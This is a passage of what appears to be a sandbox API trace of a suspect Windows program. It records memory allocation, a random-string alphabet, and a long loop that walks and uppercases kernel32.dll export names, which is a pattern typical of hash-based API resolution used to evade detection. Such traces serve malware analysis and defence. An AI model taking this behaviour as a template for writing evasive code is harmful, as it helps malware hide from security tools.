| out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0130.477] CloseHandle (hObject=0x0) returned 0 [0130.477] CloseHandle (hObject=0x5f4) returned 1 [0130.481] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.481] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.481] GetTickCount () returned 0x35fd4 [0130.482] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0130.482] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0130.482] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0130.482] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0130.482] lstrlenA (lpString="kernel32.dll") returned 12 [0130.483] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0130.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0130.483] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0130.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0130.483] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0130.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0130.483] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0130.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0130.483] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0130.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0130.483] lstrlenA (lpString="ADDATOMA") returned 8 [0130.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0130.483] lstrlenA (lpString="ADDATOMW") returned 8 [0130.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0130.483] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0130.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0130.483] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0130.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0130.483] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0130.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0130.483] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0130.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0130.483] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0130.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0130.483] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0130.484] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0130.484] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0130.484] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0130.484] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0130.484] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0130.484] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0130.484] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0130.484] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0130.484] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0130.484] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0130.484] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0130.484] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0130.484] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0130.484] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0130.484] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0130.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0130.484] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0130.485] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0130.485] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0130.485] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0130.485] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0130.485] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0130.485] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0130.485] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0130.485] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0130.485] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0130.485] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0130.485] lstrlenA (lpString="BACKUPREAD") returned 10 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0130.485] lstrlenA (lpString="BACKUPSEEK") returned 10 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0130.485] lstrlenA (lpString="BACKUPWRITE") returned 11 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0130.485] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0130.485] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0130.485] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0130.485] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0130.486] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0130.486] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0130.486] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0130.486] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0130.486] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0130.486] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0130.486] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0130.486] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0130.486] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0130.486] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0130.486] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0130.486] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0130.486] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0130.486] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0130.486] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0130.486] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0130.486] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0130.487] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0130.487] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0130.487] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0130.487] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0130.487] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0130.487] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0130.487] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0130.487] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0130.487] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0130.487] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0130.487] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0130.487] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0130.487] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0130.487] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0130.487] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0130.487] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0130.487] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0130.487] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0130.487] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0130.487] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0130.487] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0130.487] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0130.487] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0130.487] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0130.487] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0130.487] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0130.487] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0130.487] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0130.487] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0130.488] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0130.488] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0130.488] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0130.488] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0130.488] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0130.488] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0130.488] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0130.488] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0130.488] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0130.488] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0130.488] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0130.488] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0130.488] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0130.488] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0130.488] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0130.488] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0130.488] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0130.488] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0130.489] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0130.489] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0130.489] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0130.489] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0130.489] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0130.489] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0130.489] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0130.489] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0130.489] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0130.489] lstrlenA (lpString="BEEP") returned 4 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0130.489] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0130.489] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0130.489] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0130.489] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0130.489] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0130.489] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0130.489] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0130.490] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0130.490] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0130.490] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0130.490] lstrlenA 